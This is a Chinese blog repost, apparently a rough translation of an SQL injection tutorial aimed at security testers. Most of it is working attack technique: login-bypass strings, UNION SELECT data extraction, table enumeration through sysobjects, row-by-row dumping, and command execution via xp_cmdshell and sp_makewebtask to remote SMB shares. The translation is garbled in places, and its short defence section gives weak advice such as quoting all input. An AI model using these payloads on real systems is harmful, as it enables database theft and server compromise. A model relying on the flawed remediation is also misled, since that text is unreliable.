天天看點

SQL概述及在網絡安全中的應用

< DOCTYPE html PUBLIC -WCDTD XHTML StrictEN httpwwwworgTRxhtmlDTDxhtml-strictdtd>

想必大家都知道sql是什麼,但是你真正的了解sql在網絡安全中的應用嗎?   這裡給大家詳細的講述一下sql在網絡安全中的應用

  1.網絡應用和SQL注射

  1.1概述

  有些網絡資料庫沒有過濾客戶提供的資料中可能有害的字元,SQL注射就是利用插入有害字元進行攻擊的技術。盡管非常容易防範,但網際網路上仍然有驚人數量的存儲系統容易受到這種攻擊。這篇文章的目的是指導專業安全組織了解這種技術,并告訴他們正确的,用來防範SQL注射的辦法,以及處理各種常見的,由于非法輸入引起的問題.

  1.2背景

  在讀這篇文章之前,你應該對資料庫如何工作,以及SQL如何被用來通路資料庫有一些基礎的了解。我建議您閱讀eXtropia.com的文章“Introduction to Databases for WebDevelopers”。

  (網址:http://www.extropia.com/tutorials/sql/toc.html)

  1.3字元編碼

  在大多數的網絡浏覽器中,标點符号和許多其它符号在用于一個網絡請求前需要把URL編碼,以便被适當地編譯(interpret)。在本文中的例子和截圖中我使用了固定的ASCII字元以保證最大的可讀性。然而,在實際應用中,你需要在HTTP請求中用%25來代替百分号(%),用%2B來代替加号(+)等等。。。

2.易損性的測試(Testing for vulnerability)

  2.1綜合測試

  徹底地檢測一個網絡請求是否容易被SQL注射比一個可能的猜測(might guess)需要耗費更多的精力。當你把一個單引号放進一個腳本的第一個參數值時,伺服器傳回一個空白的網頁,上面除了ODBC錯誤以外什麼都沒有.顯然這種情況直接反映出web程式存在漏洞,但通常都不是這樣的,如果你沒有注意細節的話,很容易忽略掉一個看上去完美,其實很脆弱的腳本。

  伺服器上每一個腳本中的每一個參數都應該被檢測。開發者和開發組織之間可能很不一緻。設計腳本A的程式員也許和腳本B的開發毫無關系,是以,其中一個也許對SQL注射免疫,而另外一個可能不會。事實上,設計腳本A裡的函數A的程式員也許和腳本A裡的函數B的開發毫無關系,是以腳本A裡的一個參數也許對SQL注射是脆弱的,而另外一個參數卻不一定,即使整個網絡請求是由一個程式員來構想,設計,編寫及測試的,在成千上萬的腳本中的參數中,由于某種原因,設計者忘了檢驗某個地方的資料,是以仍有可能存在一個脆弱的參數,而且那個地方是唯一的,你永遠都不能确定是哪裡,是以必須測試所有的東西。

  2.2測試過程

用一個單引号和一個SQL關鍵字(比如“WHERE”)替代每一個參數的值(argument),每個參數都應該被單獨地測試,不止那樣,當你測試一個參數的時候,應該保持其它的參數不變,并用有效的資料填充它們的值(argument),It can be tempting to just delete all of the stuff that you're not working with in order to make things look simpler, particularly with applications that have parameter lines that go into many thousands of characters.

  當你測試一個參數是否能被SQL注射的時候,如果忽略了其它參數或者給他們一個錯誤的值(argument),網絡請求就有可能由于其它原因而出錯,這阻礙了你判斷SQL注射是否可行。比如,讓我們假設以下是一個有效的,純粹的(unaltered)參數行:

  ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste

  并且它傳回一個ODBC錯誤:

  ContactName=Maria%20Anders&CompanyName='%20OR

  如果我們這樣檢測:

  CompanyName='

  可能隻會給你一個錯誤告訴你需要指定一個ContactName值。

  這行:

  ContactName=BadContactName&CompanyName='

  可能傳回同樣的頁面,因為請求根本沒有指定ContactName。或者,它可能傳回你站點預設的首頁。或者,可能它找不到指定的ContactName,或者web程式認為沒有必要看CompanyName,是以它甚至根本不把這個參數值認為是一個SQL聲明,或者,它可能給你一些完全不同的東西,是以,當檢測SQL注射的時候,記得總是用完整的參數行,并且除了你正在檢測的那個參數外,還要給其它所有的參數一個合法的值。

  2.3分析結果

  如果你得到一個資料庫伺服器傳回的某些錯誤資訊,那麼SQL注射顯然是存在的.然而,資料庫錯誤資訊不一定總是明顯的(有時候編寫程式的人可能做一些奇怪的事情),是以,你應該順便看看每個可能的地方來确認注射是否成功,首先你應該從傳回的頁面上的所有資源中找尋像"ODBC", "SQL Server", "Syntax"等的短語,更多的資訊可能含在HTTP的頭部,隐藏的輸入...。我曾見過某些存儲系統上的網絡請求傳回的錯誤資訊中,在HTTP回複的body中完全沒有任何資訊,但在頭部中卻有資料庫錯誤資訊。為了調試和QA的目的,很多網絡請求都内嵌了這種特征,然而到最後發表前卻忘了把它們去處掉或使之無效。

  你不隻要注意即時傳回的頁面,同樣連結頁面也要看,在最近的一次pen-test中,我看到一個網絡請求被SQL注射攻擊後,傳回了一個類錯誤資訊頁面,點選錯誤旁邊的停止标志圖檔,連結到了另外一個滿是SQL伺服器錯誤資訊的頁面。

  另一個應該密切注意的是302頁面重定向,在你有機會注意到它之前,你可能就無奈的離開了一個含有資料庫錯誤資訊的頁面.

  請注意即使你真的得到了一個ODBC錯誤資訊回複,SQL注射仍有可能成功,很多時候(Lots of the time)你得到一個properly formatted, seemingly類錯誤消息頁面,告訴你"an internal server error" 或者 "problem processing your request."

  有些網絡請求被設計成一旦出現任何的錯誤,客戶都傳回到站點的首頁面。如果你得到一個500錯誤頁面,很有可能注射就出現了,很多站點都有一個預設的500伺服器内部錯誤頁面來說明伺服器正在維護中,或禮貌的讓使用者把他們的請求email給站點的維護人員。這就有可能用procedure techniques來利用這些站點,這将在後面讨論。

3.1繞過驗證

  最簡單的SQL注射技術是繞過基于表單的登陸.讓我們假設某個網絡請求的代碼如下:

  SQLQuery = "SELECT Username FROM Users WHERE Username = '" & strUsername & "' AND Password = '" & strPassword & "'"

strAuthCheck = GetQueryResult(SQLQuery)

If strAuthCheck = "" Then

boolAuthenticated = False

Else

boolAuthenticated = True

End If

  當一個使用者送出了一個使用者名和密碼後,查詢(query)将搜尋Users表單來看是否其中有一行中所包含的使用者名和密碼與使用者提供的相同,如果找到了那麼一行,則使用者名被儲存到變量strAuthCheck中,同時說明該使用者應該被鑒定,如果沒有找到那麼一行,則strAuthCheck變量保持為空,同時該使用者不被鑒定。

  如果strUsername和strPassword變量可以包含任何你要的字元,你可以修改目前的SQL查詢結構,那樣即使你不知道有效的使用者名和密碼,你仍何以得到一個有效的name,它是如何實作的呢?讓我們假設使用者像下面那樣填充了一個登陸表單:

  Login: ' OR ''='

Password: ' OR ''='

  這将給SQLQuery以下值:

  SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''=''

  請求并不把使用者送出的資料與現存的Users表單做比較,而是直接比較''和'',顯然它總是傳回true,(注意nothing和null是有差別的)由于WHERE語句中的所有驗證條件都符合了,使用者名将使用表單中搜尋到的第一行中的那個,接着使用者名将被傳遞給變量strAuthCheck,這樣我們的效力就得以保證。使用single result cycling技術,也有可能使用另外一行的資料,這将在以後讨論。

  3.2 SELECT

  對于另一些情況而言,你必須根據查詢那些有缺陷的web程式傳回的結果,來判斷和調整你送出的SQL查詢字元串,以便搞定伺服器.

3.2.1 直接利用單引号

  你将面臨的第一個錯誤是語句結構錯誤.一個結構錯誤表明SQL查詢的語句結構存在缺陷.首先你應該明白,在沒有編碼引号的情況下, 插入腳本攻擊是否可以成功.

直接SQL注射的時候,無論你送出什麼語句都會被不加任何改變地應用于SQL查詢中.試着送出參數的時候,先輸入合法的值,然後在其後添加一個空格和一個OR,如果伺服器産生了錯誤,那麼直接SQL注射是可能的.送出的值可以是任何WHERE子句中用到的值,例如:

  SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE Employee = " & intEmployeeID

  或者是緊跟于一個SQL關鍵字,例如表名或者表裡的欄目名,比如

  SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " & strColumn

  所有其他的例子都是引号注射,在一個存在引号插入漏洞的程式裡面, 任何一個你送出的參數,系統都會在前面和後面添加一個引号,就像這樣:

  SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE EmployeeID = '" & strCity & "'"

  為了能(break out)打破這引号,并僞造一個正确的查詢,在你的SQL注射字元串中的SQL關鍵字之前必須包含一個單引号,而且在WHERE子句的後面也需要加上一個單引号.現在我們來談談"欺騙"的問題.是的,SQL SERVER會忽視在";--"後面的任何東西,但是隻有MS的SQL SERVER會這樣做.我們最好學習如何處理這個問題,這樣我們在面對Oracle,DB/2,MySQL 和他種類的資料庫伺服器的時候就知道怎麼做了.

  SELECT查詢被用于從資料庫中擷取資訊.大多數的web應用程式通過SELECT向資料庫擷取資訊候再動态地在頁面上顯示出來.通常,資料庫查詢這部分你可以自己僞造,他将成為WHERE子句的一部分.我們可以通過插入UNION SELECT來繞過web程式允許我們查詢的資料,進而得到其它的資料.聯合查詢(指UNION SELECT)允許在一條語句中使用多個SELECT查詢,看上去就像這樣:

  SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM Customers WHERE 1 = 1

  它傳回的結果中包含了第一個查詢和第二個查詢的結果,"ALL SELECT"這裡的ALL是必須的,這樣可以逃過SELECT DISTINCT語句的限制并且不會妨礙别的(??),是以最好是使用它.你必須确認第一個查詢,即web應用程式編寫者希望執行的那個被執行,不傳回任何記錄.這并不難.舉個例子,有這麼一個表達式:

  SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = '" & strCity & "'"

  我們構造如下的插入串:

  ' UNION ALL SELECT OtherField FROM OtherTable WHERE ''='

  這将導緻如下的SQL查詢語句被送出給SQL SERVER:

  SELECT FirstName, LastName, Title FROM Employees WHERE City = '' UNION ALL SELECT OtherField FROM OtherTable WHERE ''=''

  讓我們看看會發生什麼:資料庫搜尋Employees表,查找City被設定為NULL的那一行,由于它找不到哪一行city是NULL,是以它不會傳回任何記錄,隻有我們inject的查詢才會傳回記錄.在一些情況下,使用NULL不能成功,因為表裡的卻存在

  有NULL的項.在這種情況下,你要做的就是構造一個表中不存在的值,你隻要輸入一些不普通的值...最好是對照那些正常的值,當資料庫需要一個自然數時,0或者負數都工作得很好,對于一個文本參數,簡單的用"NoSuchRecord","NotInTable"或更常見的"sjdajdhajsh",隻要它不傳回記錄就好.

  如果所有的web應用程式使用的SQL查詢都像上面這些那麼簡單就好了,可惜這不可能: ].按照各個程式設計者習慣和查詢表達式編寫方式的不同,你SQL注射時可能會遇到各種困難.

  

3.2.3 利用結構錯誤查詢表單

  一些資料庫伺服器傳回的錯誤資訊中包含了一部分格式錯誤消息,你可以通過分析這些片斷來構造你送出的INJECTION語句,有些你送出的字元串會傳回有用的資訊,有的卻不會,這主要是以來于web應用程式中SQL查詢語句是如何設計的.下面這些是我推薦你嘗試的字元串:

  '

BadValue'

'BadValue

' OR '

' OR

;

9,9,9

  通常這些字元串中的一些會傳回相同的資訊,或者根本不傳回資訊.但是有例子告訴我們,可能有的資訊隻有用他們中的一個才能得到,是以你最好送出字元串的時候,把他們都試一遍.

3.2.4 圓擴弧

  如果有缺陷的查詢語句中包含圓擴弧'(' (就像下面将會舉的例子那樣),或者傳回的錯誤資訊裡顯式地提醒你缺了'('号(Oracle這麼做),那麼你應該在你送出的SQL注射字元串中加入'('号.通常在WHERE子句後面加一個括号,但是在一些情況下,你需要加2個或者更多的括号.

  下面是parenthesis.asp的源碼:

  mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = '" & strCity & "')"

  我們插入如下的值:

  "') UNION SELECT OtherField FROM OtherTable WHERE (''='"

  那麼傳送給SQL SERVER的語句就變成了這樣:

  SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = '') UNION SELECT OtherField From OtherTable WHERE (''='')

  3.2.5 LIKE語句查詢

  另一個大的災難是陷入一個LIKE子句的陷阱.(Seeing the LIKE keyword or percent signs cited in an error message are indications of this situation.)大多數的web搜尋程式使用LIKE子句來查詢資料庫,比如下面這個:

  SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName LIKE '%" & strLastNameSearch & "%'"

  這裡面的%是通配符,在這個例子裡,WHERE子句會傳回TRUE,隻要LASTNAME裡有字元串含有strLastNameSearch.為了阻止SQL SERVER傳回預計中的記錄,你構造的SQL語句裡必須含有LASTNAME裡沒有的字元串.web搜尋程式搜尋的字元串來自于使用者的輸入.通常有一個'和一個%在輸入的字元串之前,是以我們構造字元串時,需要在WHERE子句中比對它們.如果你送出了NULL作為搜尋字元串,那麼LIKE的參數會變成"%%",這是一個全比對,會傳回所有的記錄.

3.2.6 “死胡同”

  大部分的時候sql injection都要伴随着大量失敗的實踐,如果你發現你無論如何都不能插入相關的語句,并且無論你怎麼做都不對,這個時候你就要判斷自己是否掉進了一個死胡同,很多時候遇到這種情況你很可能是在一個多重嵌套的WHERE和SELECT子句的語句中,或者一些更加複雜的多重嵌套,連使用“;--”都沒有用,是以自己要小心和避免在這種地方停留。

3.2.7 列的數目不比對問題

  如圖所示,我們可以從幾次錯誤中得到很多有用的資訊,并且加以調整自己的請求語句,這種資訊多了,那就意味着我們離成功不遠了。在猜列名時,如圖所示,我們送出語句後會碰到以下錯誤“在UNION語句中的所有查詢都必須在目标清單中具有相同數目的表達式”,這就是說你需要找出或者說是探測出在合法的請求中有多少個列。

  這裡我解釋一下,UNION 語句是用來将兩個不同的查詢結果集相加得到一個結果集,UNION使用的唯一要求是兩個查詢的資訊(你的查詢語句)必須有相同的列數和相同的資料類型

  我舉個例子,web程式中有如下語句:

  SQLstring= "SELECT FirstName,LastName,EmployeeID FROM Employees WHERE City ='"&strCity"'"

  合法的SELECT語句和我們注入的UNION SELECT語句在WHERE子句中都要有相同的列。就上面的語句來說,如果我要加入UNION 語句的話,前後兩者都要有3個列。并且他們列的資料類型也要互相比對才可以。如果FirstName這個值是字元串類型的,那麼在你注入的語句中所對應的值也應該是字元串類型的。一些資料庫,如ORACLE,是對類型檢查非常嚴格的。其他的資料庫相對要好一些,允許你輸入任何資料類型并且它會自動的把你輸入錯誤的資料類型轉換成正确的。比如SQL資料庫中,你在varchar類型的地方輸入數值類型的資料(如int)是不會報錯的,因為在這裡數值類型會被自動轉為字元串類型。但是如果在smallint列處輸入text類型則被認為是非法的,因為text類型不能被轉換成int類型。把數值類型的資料轉換成字元串型是被允許的,而反之則不行,是以預設都是使用數值類型的資料。

  要想知道我們要注入的目智語句中有多少個列,你就要試探性的往UNION SELECT子句中添加相應的值,直到它不報“在UNION語句中的所有查詢都必須在目标清單中具有相同數目的表達式”這樣的錯為止。如圖所示,如果你遇到的是資料類型不比對的錯誤,那麼你要去改變列的資料類型。如果傳回消息隻是一個轉換資料類型失敗的錯誤,那就說明你已經猜對了列的數目,隻是其中有個别的列的資料類型不對。那麼接下來要做的就是判斷是哪個列的資料類型的不正确導緻的錯誤。然後将他改過來就可以了。

  如果一切順利,那麼祝賀你,你會得到一個和上面格式類似的而且是合法的頁面;)無論動态頁面在哪裡出現,你都可以構造自己的語句應對自如。

3.2.8.WHERE關鍵字

  報錯為“無效的列名'EmployeeID'”,這個問題可能是由我們注入的語句結尾的WHERE關鍵字引起的,舉例說明:

  SQLString="SELECT FirstName,LastName,Title FROM Employees WHERE City='"&strcity&"'AND Country ='USA'"

  如果我們注入的語句是UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 那麼會得到如下的送出語句:

  SELECT FirstName, LastName, Title FROM Employees WHERE City = 'NoSuchCity' UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 AND Country = 'USA'

  這樣就會報錯:[Microsoft][ODBC SQL Server Driver][SQL Server]無效的列名 'Country'。

  其實問題就是因為你注入的語句後,系統沒有在從資料庫的表中找到一個叫'Country'的列名。我們這裡可以簡單的用“;--”注釋符号将其注釋掉(如果我們是SQL Server)。或者幹脆繼續猜其他的列名,然後構造合法請求就如我們上一節講到的一樣。

  表名的枚舉

  我們已經開始掌握如何來使用注入進行攻擊,但是我們還要确定要從哪個表得到資訊,換句話說就是我們要的到關鍵的表名才能獲得我們想要的有用資訊。如何獲得表名呢?在SQL Server中,你可以很容易得從資料庫中得到全部的表名和列名。但是在Oracle和Access中,你就不一定能如此輕易的得到了,這要看WEB程式對資料庫的通路權限了。關鍵在于是否能得到系統建立時自動生成的表中包含的表名和列名。如在SQL Server中,它們分别為'sysobjects'和'syscolumns',(在本文最後我們将給出其他資料庫系統自建表和相應的列名)我們用以下的句子可以在這些表中列出資料庫的所有列名和表名,(根據情況自行修改):

  SELECT name FROM sysobjects WHERE xtype = 'U'

  這句話會傳回資料庫中使用者定義的所有表,如果我們看到我們感興趣的或者是想要看的表,那麼我們就把他打開,這裡以Orders為例構造語句:SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Orders')得到結果如圖。

  3.2.10.單一紀錄

  上面我們構造的語句傳回了大量的資訊,如果你隻想顯示一條資料紀錄也是可以的。你完全可以構造你的注入語句來得到你想要的唯一的資訊。我們隻要在WHERE子句中添加關鍵字來避免某些行的關鍵字被選中就可以了。我來舉個列子:' UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne WHERE ''='

  我們這樣就可以得到FieldOne,FieldTwo和FieldThree的第一個值,假設我們的到的分别是"Alpha", "Beta"和"Delta"。注意,更有意思的來了,我們要得到第2行的值,怎麼構造下面的語句呢?這樣來:' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne NOT IN ('Alpha') AND FieldTwo NOT IN ('Beta') AND FieldThree NOT IN ('Delta') AND ''='

  這裡有一個子句“NOT IN VALUES”,它的作用是不再傳回我們已經得到的資訊,即不是alpha,不是beta,不是delta.既然都不是,資料庫就會傻乎乎的告訴我們第二行的值。我們再假設我們得到第二行的值為"AlphaAlpha", "BetaBeta"和"DeltaDelta"。

  我們來獲得第三行的值,構造語句如下:' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne NOT IN ('Alpha', 'AlphaAlpha') AND FieldTwo NOT IN ('Beta', 'BetaBeta') AND FieldThree NOT IN ('Delta', 'DeltaDelta') AND ''='

  這樣就避免了得到第一次和第二次我們已經得到的值,我們就這樣試下去會得到資料庫中所有的值。這看起來好像确實比較麻煩,但在這裡卻是最有效的,不是麼?

3.3 插入

  3.3.1 插入基礎

  關鍵字INSERT 被用于向資料庫添加資訊,通常使用INSERT主要在包括使用者注冊,論壇,添加商品到購物車,等等。檢查INSERT使用的弱點和檢查WHERE一樣。你可能不想使用INSERT,如何避免被利用弱點是一個重要的考慮問題。INSERT注入嘗試常常會讓資料庫以行形式傳回結果導緻泛濫的單獨的引用和SQL關健字的意義可能改變.取決于管理者的注意和資訊對資料庫的操作,這個是要引起注意的,剛剛說過的那些,INSERT注入和SELECT注入的不同。我們在一個允許使用者進行各種注冊,這就提供了一個你輸入你的名字,位址,電話等等的表單。在你送出了這個表單之後,為了得到進一步的INSERT的弱點,你必須能夠看到你送出的資訊。它在那裡不要緊。可能當你登陸根據在資料庫裡存儲的名字的給予你權利的時候,可能在發送你的spam郵件的。。,誰知道,尋找一個途徑至少可以看到你輸入的資訊。

  3.3.2

  一個插入的請求看起來象這樣:INSERT INTO TableName VALUES ('Vaule One','Value Two','Value Three') 你想可能利用一個在參數VALUES中的子句來看到其他的資料。我們可以使用這種辦法,sql的代碼象這樣:SQLString ="INSERT INTO TableName VALUES ('" & strValueOne & "', '" & strValueTwo & "', '" & strValueThree & "')"我們象這樣填寫表單:Name: ' + (SELECT TOP 1 FieldName FROM TableName) + ' Email: Phone: 333-333-3333 使SQL的聲明象這樣 : INSERT INTO TableName VALUES ('' + (SELECT TOP 1 FieldName FROM TableName) + '', , '333-333-3333')當你到了個人設定頁面檢視你的使用資訊,你将看到的第一個字段這個通常是使用者名r如果你使不在你的subselect中使用TOP 1,你将得到一個錯誤資訊說你的subselect傳回了太多記錄,你能檢視表中所有的行,使用NOT IN()同樣的方法你可以得到單獨的記錄。

  3.4. SQL伺服器存儲過程利用

  3.4.1 存儲過程基礎

  4. 一個完整安裝的MSSQL伺服器有上千的存儲過程。如果你能在一個背景使用mssql的網頁應用程式得到SQL注入,你能使用這些存儲過程完成一些非凡的成果。我将讨論很少的特殊的過程。取決于網頁程式使用資料庫的使用者,隻有一些可以工作,并不是所有的使用者都可以利用。第一件事你應該知道存儲過程注入不能通過存儲過程的傳回值來确定你的注入是否成功.取決于你想完成什麼,你可能不需要得到資料。你可以找到傳回給你的資料的其他意義。存儲過程注入比一般的查詢注入要容易些,存儲過程的注入的弱點利用看起來象這樣。

  simplequoted.asp?city=seattle';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

  注意,

  Notice how a valid argument is supplied at the beginning and followed by a quote and the final argument to the stored procedure has no closing quote. This will satisfy the syntax requirements inherent in most quoted vulnerabilities. You may also have to deal with parentheses, additional WHERE statements, etc.但是在這以後将不需要擔心列和資料的類型的比對。這個可能弱點的輸出象程式無法傳回錯誤資訊一樣。我最喜歡存儲過程。

  5. 3.4.2. xp_cmdshell

  xp_cmdshell {'command_string'} [, no_output]

  master.dbo.xp_cmdshell是存儲過程的聖杯,它帶來了一個問題,能夠調用指令行的資料庫使用者的和他的運作權限,這個并不可用除非這個網頁程式使用的資料庫使用者是SA. 運作級别為6

  sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query'

  6. 另外一個好的調用對象是master.dbo.sp_makewebtask,象你所看的,它是一個本地的輸出檔案和一個SQL statement。sp_makewebtask可以查詢并建立一個包含輸出的網頁。注意你可以象使用一個UNC路徑名一樣使用一個本地輸出。這個意思就是這個輸出檔案可以放有在任何一台連在Internet并且有個可寫的SMB共享(SMB請求不需要任何的身份驗證)。如果有一個_blank">防火牆限制了伺服器對Internet,試着把輸出檔案放在網頁目錄下(你要知道或者猜測網頁的目錄)。同樣值得注意的是引用查詢可能是 包括執行其他的存儲過程。Making "EXEC xp_cmdshell 'dir c:'" 這個查詢将在網頁中給出"dir c:"的輸出。當你進行嵌套引用的時候,記得單獨的引用和雙引号

4.1資料處理

  所有的用戶端資料可以被惡意的送出的字元或字元串清除。這些可能在所有的應用程式做到,不僅僅是使用SQL查詢的。Stripping quotes or putting backslashes in front of them is nowhere near enough.最好的過濾資料的方式是不用規則的表達方式,使它隻包括你所想要的字元類型。舉個例子,下邊的regxp将隻能傳回字母和數字,盡可能的過濾象s/[^0-9a-zA-Z]//g 這樣的特殊字元。可能的時候盡量使用數字,在這以後隻使用數字和字母。如果你需要包括各種各樣的标志或标點。确信完全的把它們轉換成html标記,像“"e;" or ">”。例如,一個使用者送出了一個email位址隻允許使用數字和字母還有"@", "_", "." 和"-"。僅僅隻有這些字元可以轉換成html标記。

  4.2. 編寫安全的web程式

  這裡同樣有很少的特殊的sql注入規則。First, prepend and append a quote to all user input。

  盡管資料使數字。其次,限制網頁應用程式的資料庫使用者在資料庫裡的權限。不要給這個使用者通路所有的存儲過程的權利如果這個使用者隻需要通路一些預定義的。

  這部分包括了所有在sql注入中有用的系統表,你可以在google上搜尋到每一個的表的列的定義

  5.1. MS SQL Server

  Sysobjects

  syscolumns

  5.2. MS Access Server

  MSysACEs

  MSysObjects

  MSysQueries

  MSysRelationships

  5.3. Oracle

  SYS.USER_OBJECTS

  SYS.TAB SYS.USER_TABLES

  SYS.USER_VIEWS SYS.ALL_TABLE

  S SYS.USER_TAB_COLUMNS

  SYS.USER_CONSTRAINTS SYS.USER_TRIGGERS

  SYS.USER_CATALOG

本文轉自 netcorner 部落格園部落格,原文連結:http://www.cnblogs.com/netcorner/archive/2007/10/27/2912270.html  ,如需轉載請自行聯系原作者